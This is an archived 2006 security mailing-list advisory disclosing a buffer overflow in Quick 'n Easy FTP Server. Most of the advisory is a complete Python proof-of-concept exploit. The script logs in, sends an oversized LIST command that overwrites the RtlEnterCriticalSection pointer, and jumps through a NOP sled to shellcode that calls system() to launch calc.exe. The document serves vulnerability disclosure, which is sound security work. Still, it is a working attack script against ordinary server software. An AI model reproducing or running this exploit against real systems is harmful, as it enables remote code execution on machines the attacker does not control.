Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] Quick 'n Easy FTP Server Buffer Overflow (Exploit)

Subject: [EXPL] Quick 'n Easy FTP Server Buffer Overflow (Exploit)
Date: 18 Jul 2006 17:06:21 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Quick 'n Easy FTP Server Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" 
<http://www.pablosoftwaresolutions.com/html/quick__n_easy_ftp_server.html> 
Quick 'n Easy FTP Server is a multi threaded FTP server for Windows 
98/NT/XP that can be easily setup even by inexperienced users. New users 
can be easily created by a wizard which is guiding you step by step in the 
process."

A buffer overlow vulnerability exists in Quick 'n Easy FTP Server.

DETAILS

Vulnerable Systems:
 * Quick 'n Easy FTP Server versions O.O

Exploit:
#!/usr/bin/python
#Quick 'n Easy FTP Server 3.0 (LIST) 0day PoC exploit
#Proof of Concept: execute calc.exe
#Tested on 2000 SP0 polish
#Bug found by h07 
#Date: 18.07.2006

from socket import *

host = "127.0.0.1"
port = 21
user = "h07"
password = "open"
adr1 = 0x01ABED9A  # ~Address of shellcode
adr2 = 0x7FFDF020  # RtlEnterCriticalSection pointer

shellcode = (
#bad chars: 0x00 0x0a 0x0d 0x5c 0x2f
#reconstruction PEB block
#mov dword edx, 0x7FFDF020    ;EDX <-- RtlEnterCriticalSection pointer
#mov dword [edx], 0x77F8AA4C  ;RtlEnterCriticalSection pointer <-- 
original value
#...

"\xba\x20\xf0\xfd\x7f\xc7\x02\x4c\xaa\xf8\x77"
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\xad\xaa\x01\x78"  #Address of system() function (2000 SP0 polish)
"\xFF\xD1\xEB\xF7")

def intel_order(i):
a = chr(i % 256)
i = i >> 8
b = chr(i % 256)
i = i >> 8
c = chr(i % 256)
i = i >> 8
d = chr(i % 256)
str = "%c%c%c%c" % (a, b, c, d)
return str

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)

s.send("user %s\r\n" % (user))
print s.recv(1024)

s.send("pass %s\r\n" % (password))
print s.recv(1024)

buffer = "LIST "
buffer += "?"
buffer += "A" * 267
buffer += intel_order(adr1)
buffer += intel_order(adr2)

#EDX <-- adr2 (RtlEnterCriticalSection pointer)
#ECX <-- adr1 (address of shellcode)
#MOV DWORD PTR DS:[EDX],ECX (rewrite RtlEnterCriticalSection pointer)
#MOV DWORD PTR DS:[ECX+4],EDX (exception and jump to shellcode)

buffer += "\x90" * 300 + shellcode
buffer += "\r\n"

s.send(buffer)
print s.recv(1024)

s.close()


ADDITIONAL INFORMATION

The information has been provided by  <mailto:h07@interia.pl> h07.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] Quick 'n Easy FTP Server Buffer Overflow (Exploit), SecuriTeam <=